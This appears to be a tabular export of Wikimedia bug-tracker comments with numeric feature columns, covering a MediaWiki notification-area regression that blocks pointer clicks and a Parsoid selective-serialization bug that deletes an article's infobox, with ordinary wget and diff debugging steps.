247142,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,Rephrasing bug title as it was cut-off.,,,1392115165,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,True,,,32,,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.3,1.0,Rephrasing bug title as it was cut-off.
247133,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,"Thanks, Bartosz.",,,1390506925,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,True,,,29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,"Thanks, Bartosz."
247127,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,"Change 109124 had a related patch set uploaded by Bartosz Dziewoński:
mediawiki.notification: Hide #mw-notification-area when it's empty

https://gerrit.wikimedia.org/r/109124",,,1390506812,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,18.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,4.0,4.0,11.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.75,0.9285714285714286,"Change 109124 had a related patch set uploaded by Bartosz Dziewoński:
mediawiki.notification: Hide #mw-notification-area when it's empty

GERRIT_URL"
247118,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,"Ugh, I guess no one will do this if I don't.",,,1390506798,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,True,,,29,,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,14.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,7.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,14.0,7.0,7.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.4285714285714284,0.8571428571428571,"Ugh, I guess no one will do this if I don't."
247113,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,I am resetting this to high priority only as per the maintainer judgement in comment 4.,,,1390406732,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,True,,,29,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,24.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.235294117647059,1.0,I am resetting this to high priority only as per the maintainer judgement in comment 4.
247107,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,"jforrester: Should this really be highest priority (set in comment 7), or be
kept as high (as you did in comment 4)?",,,1387200972,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,True,,,24,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,3.0,10.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.2,0.8,"jforrester: Should this really be highest priority (set in comment 7), or be
kept as high (as you did in comment 4)?"
247101,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,"jforrester: Should this really be highest priority (set in comment 7), or be kept as high (as you did in comment 4)?",,,1385396423,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,3.0,10.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.2758620689655173,0.7931034482758621,"jforrester: Should this really be highest priority (set in comment 7), or be kept as high (as you did in comment 4)?"
247094,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,"(In reply to comment #2)
> Unless somebody has a better idea, we should probably implement toggling
> 'display' in JavaScript.

If the ca-action dropdown is the only exposed UI problem, perhaps the ca-action dropdown buttons could have a higher z-index, as a temporary fix at least?

(In reply to comment #5)
> So I was right that VE is *pushed* by the Wikimedia Foundation:
> https://bugzilla.wikimedia.org/show_activity.cgi?id=52659

It certainly is. While this regression outside of VisualEditor codebase is regrettable, and hopefully will be fixed soon, the VE team have pushed lots of great JS into core, and fixed bugs like bug 38081 which will benefit Wikimedia Commons.

I have bumped the importance up (but not wedded to it) as it is a regression caused by VE and affecting non-VE environments, and was reported two months ago, and the code change causing it was deployed in July.

In addition to impacting sysops with three ca-actions, it also affects non-sysops on every wiki, although not as pronounced.  Non sysops only have the the 'Move' button in the ca-action dropdown of Vector, and it is partially inaccessible.  If the user slowly moves their mouse cursor down into the dropdown, they can click the move icon if the click on the first few pixels above the word 'Move' - if they continue going down so that their mouse cursor hovers over the word 'Move', the drop down disappears.",,,1381622838,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,False,,,14,,0.6666666666666666,0.0,0.0,1.0,0.6666666666666666,5.666666666666667,1.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,2.6666666666666665,2.3333333333333335,0.0,1.0,0.0,0.3333333333333333,0.0,4.333333333333333,13.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.6666666666666666,0.6666666666666666,0.3333333333333333,4.333333333333333,0.0,2.0,2.0,0.0,0.0,0.0,0.3333333333333333,2.3333333333333335,0.0,1.6666666666666667,0.0,2.3333333333333335,0.0,0.3333333333333333,0.0,0.0,0.0,17.333333333333332,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.333333333333333,2.6666666666666665,9.0,3.0,2.3333333333333335,8.333333333333334,0.0,0.0,0.0,0.6666666666666666,2.0,0.0,1.6666666666666667,0.0,4.0,13.0,3.3333333333333335,0.3333333333333333,2.3333333333333335,0.0,4.0,0.0,0.3333333333333333,1.0,0.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,3.766428328226081,0.6868828736806264,"(In reply to comment #2)
QUOTE
QUOTE

If the ca-action dropdown is the only exposed UI problem, perhaps the ca-action dropdown buttons could have a higher z-index, as a temporary fix at least?

(In reply to comment #5)
QUOTE
QUOTE

It certainly is. While this regression outside of VisualEditor codebase is regrettable, and hopefully will be fixed soon, the VE team have pushed lots of great JS into core, and fixed bugs like bug 38081 which will benefit Wikimedia Commons.

I have bumped the importance up (but not wedded to it) as it is a regression caused by VE and affecting non-VE environments, and was reported two months ago, and the code change causing it was deployed in July.

In addition to impacting sysops with three ca-actions, it also affects non-sysops on every wiki, although not as pronounced.  Non sysops only have the the 'Move' button in the ca-action dropdown of Vector, and it is partially inaccessible.  If the user slowly moves their mouse cursor down into the dropdown, they can click the move icon if the click on the first few pixels above the word 'Move' - if they continue going down so that their mouse cursor hovers over the word 'Move', the drop down disappears."
247087,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,"(In reply to comment #5)
> So I was right that VE is *pushed* by the Wikimedia Foundation:
> https://bugzilla.wikimedia.org/show_activity.cgi?id=52659

I'm confused. What are you saying?",,,1381257412,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,9.0,9.0,0.0,5.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,2.8636363636363638,0.9090909090909091,"(In reply to comment #5)
QUOTE
QUOTE

I'm confused. What are you saying?"
247081,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,So I was right that VE is *pushed* by the Wikimedia Foundation: https://bugzilla.wikimedia.org/show_activity.cgi?id=52659,,,1381257077,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,38.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,25.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4375,0.9375,So I was right that VE is *pushed* by the Wikimedia Foundation: URL
247076,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,"From bug 55457 comment 0:

| 1. Trigger a notification
| 2. Click on the notification to dismiss it
| 3. The notification area (<div id=""mw-notification-area"">) is now empty, but
| still obscures a narrow strip in the top right corner:
| 
| > $('#mw-notification-area').outerHeight()
| 12
| > $('#mw-notification-area').outerWidth()
| 269
| > $('#mw-notification-area').position()
| Object {top: 89.59375, left: 1251.203125}
| > $('#mw-notification-area').css('z-index')
| ""10000""
| 
| This is a problem because the div steals events and mouse interaction from the
| UI elements below it. For instance, in VisualEditor:
| 1. Open a page in VE
| 2. Type '[['. The wikitext warning appears
| 3. Click the warning to dismiss it
| 4. Reveal #mw-notification-area in the inspector and observe how it's on top
|    of part of the save button
| 5. Very carefully move the mouse over the save button, and you'll notice a
|    small (12px tall) area where mouse pointer is a normal pointer instead of a
|    hand. Clicking in this area does not press the save button.",,,1381256567,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,3.3333333333333335,1.0,0.3333333333333333,0.0,0.0,2.0,2.6666666666666665,0.0,0.0,0.0,0.0,0.0,5.333333333333333,6.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,3.0,1.0,1.3333333333333333,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,4.333333333333333,0.0,0.0,0.0,0.0,0.0,19.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,6.333333333333333,1.0,5.666666666666667,1.0,1.3333333333333333,7.0,0.0,0.0,0.0,1.6666666666666667,4.0,0.0,4.666666666666667,0.0,1.6666666666666667,6.0,3.0,0.0,3.3333333333333335,0.0,1.6666666666666667,0.0,0.6666666666666666,2.3333333333333335,0.0,0.3333333333333333,0.0,0.0,2.6666666666666665,3.1099656357388317,0.5738831615120276,"From bug 55457 comment 0:

| 1. Trigger a notification
| 2. Click on the notification to dismiss it
| 3. The notification area (<div id=""mw-notification-area"">) is now empty, but
| still obscures a narrow strip in the top right corner:
| 
| > $('#mw-notification-area').outerHeight()
| 12
| > $('#mw-notification-area').outerWidth()
| 269
| > $('#mw-notification-area').position()
| Object {top: 89.59375, left: 1251.203125}
| > $('#mw-notification-area').css('z-index')
| ""10000""
| 
| This is a problem because the div steals events and mouse interaction from the
| UI elements below it. For instance, in VisualEditor:
| 1. Open a page in VE
| 2. Type '[['. The wikitext warning appears
| 3. Click the warning to dismiss it
| 4. Reveal #mw-notification-area in the inspector and observe how it's on top
|    of part of the save button
| 5. Very carefully move the mouse over the save button, and you'll notice a
|    small (12px tall) area where mouse pointer is a normal pointer instead of a
|    hand. Clicking in this area does not press the save button."
247068,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,*** Bug 55457 has been marked as a duplicate of this bug. ***,,,1381254044,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 55457 has been marked as a duplicate of this bug. ***
247060,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,"The culprit is this line:
	padding: 1em 1em 0 0;
in mediawiki.notification.css. It causes .mw-notification-area to have a non-zero height and thus cover other elements, like the dropdown.

There are two obvious ways to fix it which don't work:

* Change the padding to margin. This causes the notifications to ""jump"" slightly when scrolling, as detailed in commit message of https://gerrit.wikimedia.org/r/#/c/75614/

* Add .mw-notification-area:empty { display: none; }. This doesn't work on IE<9 and other old browsers. [http://caniuse.com/#feat=css-sel3]

Unless somebody has a better idea, we should probably implement toggling 'display' in JavaScript.",,,1376072941,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,True,,,5,,0.0,1.0,0.0,0.0,1.5,6.0,0.5,0.0,0.0,1.0,3.5,3.0,0.0,1.0,0.5,1.0,0.0,4.0,8.0,1.5,2.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,12.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,8.0,1.5,1.5,6.0,0.0,0.0,0.0,0.0,7.0,0.0,1.5,0.0,2.0,8.0,2.0,0.0,3.0,0.0,2.0,0.0,1.5,1.5,0.0,1.5,1.0,0.0,1.0,3.8030303030303028,0.8106060606060606,"The culprit is this line:
	padding: 1em 1em 0 0;
in mediawiki.notification.css. It causes .mw-notification-area to have a non-zero height and thus cover other elements, like the dropdown.

There are two obvious ways to fix it which don't work:

* Change the padding to margin. This causes the notifications to ""jump"" slightly when scrolling, as detailed in commit message of URL

* Add .mw-notification-area:empty { display: none; }. This doesn't work on IE<9 and other old browsers. [URL

Unless somebody has a better idea, we should probably implement toggling 'display' in JavaScript."
247052,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,"Created attachment 13078
Screenshot FF, vector skin, mediawiki, mw-notify

I suppose this regression was introduced by fixing https://bugzilla.wikimedia.org/show_bug.cgi?id=50870
- When I test locally (codebase about 4 weeks old), the menu/dropdown does not close unexpectedly.

**Attached**: {F11623}",,,1375991155,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,16.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,2.0,7.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.810344827586207,0.8275862068965517,"Created attachment 13078
Screenshot FF, vector skin, mediawiki, mw-notify

I suppose this regression was introduced by fixing URL
- When I test locally (codebase about 4 weeks old), the menu/dropdown does not close unexpectedly.

**Attached**: {F11623}"
54638,Selser regression: pages with templates that generate tables and foster content out of the table are broken,"At http://en.wikipedia.org/wiki/Raven-Symon%C3%A9?oldid=566906720 , if you edit anything in the document, the infobox is deleted, but if you make a null edit, the infobox is retained.

This appears to be a bug in selser: if the HTML doesn't change, the wikitext doesn't change, but any small change in the HTML results in the infobox being deleted. I verified that VisualEditor isn't dirtying anything, but just to be sure I also reproduced this on the command line by just making a 1-character change to the HTML as shown below.

I think this may have something to do with the double }} closing in the infobox.

$ mkdir tmp
$ cd tmp
$ wget 'http://parsoid.wmflabs.org/en/Raven-Symon%C3%A9?oldid=566906720' -O originalHTML
$ wget 'http://en.wikipedia.org/wiki/Raven-Symon%C3%A9?oldid=566906720&action=raw' -O originalWikitext
$ cp originalHTML editedHTML
$ vi editedHTML   # Change '<h2>Life and career</h2>' to '<h2>Life and careeer</h2>'
$ node parse.js --html2wt --selser --oldtextfile originalWikitext --oldhtmlfile originalHTML --inputfile editedHTML > newWikitext
$ diff -u originalWikitext newWikitext

--- /home/catrope/tmp/originalWikitext	2013-08-08 14:34:46.463998552 +0800
+++ /home/catrope/tmp/newWikitext	2013-08-08 17:04:41.596239434 +0800
@@ -1,29 +1,7 @@
 {{Use mdy dates|date=June 2013}}
 {{pp-move-indef}}
-{{Infobox person
-| image           = Raven-Symoné 2011.jpg
-| caption         = Raven-Symoné in 2011 
-| birth_name      = Raven-Symoné Christina Pearman 
-| alias           = Raven<BR>Raven-Symone
-| background      = solo_singer
-| instrument      = [[Singing|Vocals]], [[piano]]
-| birth_date      = {{birth date and age|mf=yes|1985|12|10}}
-| birth_place     = [[Atlanta]], [[Georgia (U.S. state)|Georgia]], U.S.<ref>{{cite web |url=http://movies.msn.com/celebrities/celebrity-biography/raven-symone/|title=Raven Symone:Biography on MSN |accessdate=2008-07-15 |year=2008 |publisher=[[MSN]]}}</ref> 
-| genre           = 
-| occupation      = Actress, singer, [[comedienne]], dancer, television producer, [[fashion model]]
-| years_active    = 1989–present
-| label           = [[MCA Records|MCA]], Crash, RayBlaze, [[Hollywood Records|Hollywood]]
-| associated_acts = [[The Cheetah Girls (band)|The Cheetah Girls]]
-| website         = [http://www.myspace.com/ravensymone Raven-Symoné Myspace page]
-| module         = {{Infobox musical artist|embed=yes
-| background          = solo_singer
-| genre               = [[Contemporary R&B|R&B]], [[pop music|pop]], [[Hip hop music|hip hop]], [[Soul music|soul]], [[dance music|dance]]
-| instrument          = Vocals, [[piano]]
-| years_active        = 1993–present
-}}
 
-}}
 '''Raven-Symoné Christina Pearman'''<ref>[http://www.mlive.com/entertainment/saginaw/index.ssf/2008/08/ravensymone_steps_out_of_chara.html]</ref>, (born December 10, 1985), known professionally as '''Raven-Symoné''' (pronounced {{IPA|/ˈreɪ.vən sɪˈmoʊn/}}, as though unaccented), or simply '''Raven''', is an American actress and singer. Raven-Symoné launched her career in 1989 after appearing in ''[[The Cosby Show]]''<!-- Per http://www.imdb.com/name/nm0712368/filmoseries#tt0086687 her first episode of ""A Different World"" was Nov. 2, 1989, while her first Cosby Show episode was Sept 21, 1989. --> as Olivia. She released her debut album, ''[[Here's to New Dreams]]'' in 1993; the single, ""[[That's What Little Girls Are Made Of]]"" charted number 68 on the US ''Billboard'' [[Hot 100]].<ref>[http://www.billboard.com/song/raven-symone/that-s-what-little-girls-are-made-of/450772#/song/raven-symone/that-s-what-little-girls-are-made-of/450772 That's What Little Girls Are Made Of – Raven-Symoné]. Billboard.com. Retrieved 2012-05-19.</ref> The next album, ''[[Undeniable (Raven-Symoné album)|Undeniable]]'', was released on May 4, 1999.
 
 Raven-Symoné appeared in several successful television series, such as ''[[The Cosby Show]]'' and ''[[Hangin' with Mr. Cooper]]'', in the late 1980s and early 1990s. From 2003 to 2007, she starred in the [[Disney Channel]] series, ''[[That's So Raven]]'' in which she played Raven Baxter, a psychic teenager who tried her best to keep her psychic powers a secret. During her time on ''That's So Raven'', Raven-Symoné released her third studio album, ''[[This Is My Time (Raven-Symoné album)|This is My Time]]'' (2004) which was her best selling solo album to date, charting at number 51 on the ''Billboard'' 200.<ref name=""billboard.com"">[{{BillboardURLbyName|artist=raven-symoné|chart=Billboard 200}} Raven-Symoné]. Billboard.com. Retrieved 2012-05-19.</ref> After a year of the end of ''That's So Raven'', she released her fourth studio album, ''[[Raven-Symoné (album)|Raven-Symoné]]'' (2008). The album peaked at number 159 on the ''Billboard'' 200. During 2003 to 2006, she participated in four soundtracks from Disney, [[RIAA certification|RIAA-certified]] double-platinum album, ''[[The Cheetah Girls (soundtrack)|The Cheetah Girls]]'' (2003), RIAA-certified gold album, ''[[That's So Raven (soundtrack)|That's So Raven]]'' (2004), ''[[That's So Raven Too!]]'' (2006) and RIAA-certified platinum album, ''[[The Cheetah Girls 2 (soundtrack)|The Cheetah Girls 2]]'' (2006). The soundtracks sold a combined 4.1 million copies in the U.S. alone. As of April 2008, Raven-Symoné has sold 314,000 albums in the United States.
@@ -32,7 +10,7 @@
 
 In 2012, Raven-Symoné ranked number eight on ''[[VH1]]''{{'s}} ""100 Greatest Kid Stars Of All Time"" list,<ref name=""GKSAT"">[http://blog.vh1.com/2012-12-02/and-the-1-greatest-kid-star-of-all-time-is/ Greatest Kid Star Of All Time]</ref> and ranked number one on ''Loop21''{{'s}} ""10 Richest Black Actresses Under 40"" list.<ref name=""RBAU40"">[http://www.loop21.com/entertainment/10-richest-black-actresses-under-40 10 Richest Black Actresses Under 40]</ref>
 
-==Life and career==
+==Life and careeer==
 
 ===1985–99: Early life and career beginnings with ''The Cosby Show''===
 Raven-Symoné was born in Atlanta, Georgia to Lydia (née Gaulden) and Christopher B. Pearman. Raven-Symoné is of [[African-American]] <ref>http://www.tv.com/people/raven-symone/</ref><ref>http://xfinity.comcast.net/slideshow/entertainment-aachildactors/3/</ref><ref>http://ethnicelebs.com/raven-symone</ref><ref name=""imdb"">http://www.imdb.com/name/nm0712368/bio</ref><ref>http://www.nndb.com/people/017/000103705/</ref> and [[Native Americans in the United States|Native American]] ancestry.<ref name=""imdb"" /> At age three, her family moved to [[Ossining (village), New York|Ossining, New York]] where she attended Park School.<ref name=""birthplace"">Charlotte Moore (January 25, 2004). [http://www.pe.com/lifestyles/teen/stories/PE_Fea_Teen_raven0125.a11bc.html Raven takes flight]{{dead link|date=September 2011}} PE.com.</ref><ref>[http://ftp.rootsweb.com/pub/usgenweb/la/winn/bios/sym1569.txt Rootsweb.com]{{Dead link|date=May 2010}}</ref> As an infant, she worked for Atlanta's Young Faces Inc. Modeling Agency and was featured in local print advertisements. At age two, she worked with Ford Models in New York City and appeared in ads for [[Ritz cracker]]s, [[gelatin dessert|Jell-O]], [[Fisher-Price]], and [[Cool Whip]].

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1375953720,1376528533.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-s4knko26mc6rjznucnmu,task_description,resolved,True,c1,3,False,False,True,5,,0.26666666666666666,0.2,0.0,0.5333333333333333,0.2,3.0,0.4666666666666667,0.0,0.06666666666666667,0.2,1.9333333333333333,3.8666666666666667,0.0,0.0,0.0,0.4,0.06666666666666667,1.3333333333333333,5.933333333333334,0.2,0.3333333333333333,0.0,0.06666666666666667,0.06666666666666667,1.8666666666666667,0.26666666666666666,0.06666666666666667,0.06666666666666667,0.2,0.0,0.06666666666666667,1.9333333333333333,0.4,0.0,0.3333333333333333,0.13333333333333333,0.2,0.06666666666666667,0.7333333333333333,0.26666666666666666,0.0,1.2666666666666666,0.2,0.6666666666666666,0.0,0.06666666666666667,0.0,0.0,0.0,12.266666666666667,0.6666666666666666,0.13333333333333333,0.06666666666666667,0.13333333333333333,0.0,0.0,0.0,0.06666666666666667,0.3333333333333333,0.0,0.06666666666666667,0.2,0.0,0.13333333333333333,0.0,0.06666666666666667,0.0,2.6666666666666665,1.2,18.6,0.4666666666666667,1.4,3.933333333333333,0.0,0.0,0.06666666666666667,0.06666666666666667,0.5333333333333333,0.0,5.133333333333334,0.0,1.8,5.933333333333334,14.733333333333333,0.0,1.4,0.26666666666666666,1.8,0.0,0.4,0.6666666666666666,0.06666666666666667,0.4,0.0,0.2,7.333333333333333,3.748928704740575,0.5798880179171333,"At URL , if you edit anything in the 